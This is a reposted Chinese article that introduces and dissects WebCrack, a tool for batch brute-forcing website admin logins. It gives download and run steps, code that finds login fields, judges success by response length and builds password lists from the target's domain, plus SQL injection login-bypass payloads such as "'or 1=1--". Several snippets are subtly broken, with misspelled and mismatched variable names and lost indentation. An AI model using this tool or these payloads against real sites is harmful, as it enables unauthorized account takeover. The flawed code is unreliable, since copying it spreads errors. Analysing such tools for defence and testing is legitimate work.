这是一篇转载的文章。文章来源是:https://zhuanlan.zhihu.com/p/89205738

1 WebCrack 简介

WebCrack 是一款开源免费的 web 后台弱口令/万能密码批量爆破、检测工具。

不仅支持如 discuz,织梦,phpmyadmin 等主流 CMS 的后台爆破,并且对于绝大多数小众 CMS 甚至个人开发网站后台都有效果,只需在工具中导入后台地址即可进行自动化检测。

2 使用方法

2.1 下载

GitHub 项目: https://github.com/yzddmr6/WebCrack

1
git clone https://github.com/yzddmr6/WebCrack

2.2 安装所需依赖

1
pip3 install -r requirements.txt

2.3 运行脚本

1
2
3
4
5
6
7
$ python webcrack.py
*****************************************************
*                         *
**************** Code By yzddMr6 ***************
*                         *
*****************************************************
File or Url:

输入文件名则进行批量爆破,输入 URL 则进行单域名爆破。

2.4 自定义配置

cms.json里面可以进行自定义配置

1
2
3
4
5
6
7
8
9
10
{
"name": "这是cms的名称",
"keywords": "这里是cms后台页面的关键字,是识别cms的关键",
"captcha": "1 为后台有验证,0 为没有。因为此版本并没有处理验证码,所以为 1 则退出爆破",
"exp_able": "是否启用万能密码模块爆破",
"success_flag": "登录成功过后的关键字",
"fail_flag": "请谨慎填写此项。如果填写此项,遇到里面的关键字就会退出爆破,用于 dz 等对于爆破有次数限制的cms",
"alert": "若为 1 则会打印下面的 note 内容",
"note": "请保证本文件是 UTF 格式,并且请勿删除此说明"
}

文件里面给出了集中常见的 cms 的配置方案,可进行参考。

3 原理分析

根据我们平时使用 burpsuite 中的爆破的原理,可知 webcrack 的爆破原理与其差异不大,自动分析找到爆破点、带入字典进行匹配、判断是否成功。

3.1 寻找爆破点

根据提取到的参数名来匹配用户名和密码的位置(缺陷:可能不包含在已设定的选项中)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
for x in content.find_all('input'):
ok_flag = 0
if x.has_attr('name'):
parameter = x['name']
elif x.has_attr('id'):
parameter = x['id']
else:
parameter = ''
if x.has_attr('value'):
value = x['value']
else:
value = '0000'
if paramter:
if not user_key:
for z in ['user', 'name', 'zhanghao', 'yonghu', 'email',.'account']:
if z in paramter.lower():
value = '{username}'
user_key = parameter
ok_flag = 1
break
if not ok_flag:
for y in ['pass', 'pw', 'mima']:
if y in parameter.lower():
value = '{pass_word}'
pass_key = parameter
ok_flag = 1
break
data[parameter] = str(value)

3.2 判断是否成功

原理就是先对两个错误请求的返回值进行比较,如果不同,则无法进行判断,退出爆破;如果相同,则记录下来作为判断的标准。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_error_length(conn, path, data):
data1 = data
cookie_error_flag = 0
dynamic_reg_len = 0
data2 = str(data1.replace('%7Buser_name%7D', 'admin'))
data2 = str(data2.replace('%7Bpass_word%7D', 'length_test'))
res_test = conn.post(url=path, data=data2, headers=random_headers(), timeout=10, verify=False,
allow_redirects=True, proxies=requests_proxies()) # 先请求一次
res_02 = conn.post(url=path, data=data2, headers=random_headers(), timeout=10, verify=False,
allow_redirects=True, proxies=requests_proxies())
res_02.encoding = res_02.apparent_encoding
res = conn.post(url=path, data=data2, headers=random_headers(), timeout=10, verify=False, allow_redirects=True,
proxies=requests_proxies())
res.encoding = res.apparent_encoding
error_length_02 = len(res_02.text + str(res_02.headers))
error_length = len(res.text + str(res.headers))
if error_length_02 != error_length:
cookies_error_flag = 1
return error_length, cookie_error_flag, dynamic_req_len

根据黑名单判断,出现黑名单中的情况判定为爆破失败

1
fail_words = ['密码错误', '重试', '不正确', '密码有误','不成功', '重新输入', 'history.back', '不存在', '登录失败', '登陆失败','出错', '已被锁定','history.go','安全拦截','还可以尝试','无效','攻击行为','创宇盾', '非法','百度云加速','安全威胁','防火墙','黑客', '不合法','warning.asp?msg=','Denied']

为了提高准确度,防止误报,还有重新检查的环节。就是再次把爆破出的帐号密码发送一次,将返回值与一个新的错误返回值进行对比,如果不同,则表示爆破成功。(为什么不使用前面记录下来的错误返回值进行对比,因为 WAF 的存在或其他因素的干扰会导致返回值的变化)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def recheck(path, data, user_name, pass_word):
data1 = data
conn = requests.session()
pass_word = str(pass_word.replace('{user}', user_name))

data_test = str(data1.replace('%7Buser_name%7D', user_name))
data_test = str(data_test.replace('%7Bpass_word%7D', 'length_test'))

data2 = str(data1.replace('%7Buser_name%7D', user_name))
data2 = str(data2.replace('%7Bpass_word%7D', pass_word))

res_01 = conn.post(url=path, data=data_test, headers=random_headers(), timeout=10, verify=False,
allow_redirects=False, proxies=requests_proxies())
res_02 = conn.post(url=path, data=data2, headers=random_headers(), timeout=10, verify=False,
allow_redirects=False, proxies=requests_proxies())
res_01.encoding = res_01.apparent_encoding
res_02.encoding = res_02.apparent_encoding
error_length_01 = len(res_01.text+str(res_01.headers))
error_length_02 = len(res_02.text+str(res_02.headers))

if error_length_01 == error_length_02:
return 0
else:
return 1

3.3 动态词典

根据域名自动生成动态词典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def gen_dynam_dic(url):
dynam_pass_dic = []
tmp_dic = []
suffix_dic = ['', '123', '888', '666', '123456']
list1 = url.split('/')
host = list1[2].split(":")[0]
compile_ip = re.compile('^(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)$')
if compile_ip.match(host):
check_ip = 1
else:
check_ip = 0
if not check_ip:
list2 = host.split(".")
i = len(list2)
for u in range(i): # 生成url字典1
list3 = list2[u:]
part = '.'.join(list3)
if (len(part) < 5):
continue
dynam_pass_dic.append(part)
for u in range(i): # 生成url字典2
list3 = list2[u]
if len(list3) < 5:
continue
tmp_dic.append(list3)
for i in tmp_dic:
for suffix in suffix_dic:
u = i + suffix
dynam_pass_dic.append(u)
return dynam_pass_dic
else:
return ''

如果输入的是一个 IP,则返回一个空的列表。

3.4 万能密码

除了弱口令以外,还可能存在万能密码的漏洞,WebCrack 中添加了一些常用的 payload 用来检测是否存在万能密码的漏洞。(缺陷:可能会被 WAF 拦截)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
exp_user_dic = ["admin' or 'a'='a", "'or'='or'", "admin' or '1'='1' or 1=1", "')or('a'='a", "'or 1=1--"]
exp_pass_dic = exp_user_dic

# ...

if exp_able:
user_dic=exp_user_dic
pass_dic=exp_pass_dic
print('Exp_dic is trying')
user_name, pass_word = crack_task( path, data, user_dic, pass_dic,user_key,pass_key,cms_id)
if user_name:
print("Rechecking......",url, user_name, pass_word)
recheck_flag = recheck(path, data, user_name, pass_word)
else:
recheck_flag = 0
else:
recheck_flag = 0

3.5 验证码

这部分自动化完成比较困难,这里只提供了一个简单的解决方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
captchas = ['验证码', '验 证 码','点击更换', '点击刷新','看不清','认证码','安全问题']
if cms_id and cms[cms_id]['captcha'] == 1:
print("[-] captcha in login page: " + url + '\n',time.strftime('%Y-%m-%d %X', time.localtime(time.time())))
with open(log_file, 'a+') as log:
log.write("[-] captcha in login page: " + url + '\n')
return '','',''
else:
if not cms_id :
for captcha in captchas:
if captcha in html:
print("[-]" + captcha + " in login page: " + url + '\n',time.strftime('%Y-%m-%d %X', time.localtime(time.time())))
with open(log_file, 'a+') as log:
log.write("[-]" + captcha + " in login page: " + url + '\n')
return '','',''

因为通用型爆破,可能无法做到百分百准确,可以修改配置文件来更符合你的需求。(出现 sql 错误信息可能存在 post 注入的情况无法进行爆破)二向箔安全 最近开放了一系列免费的网络安全技能包,通过学习技能不断提升自我能力,在网络安全的世界中不断闯关升级。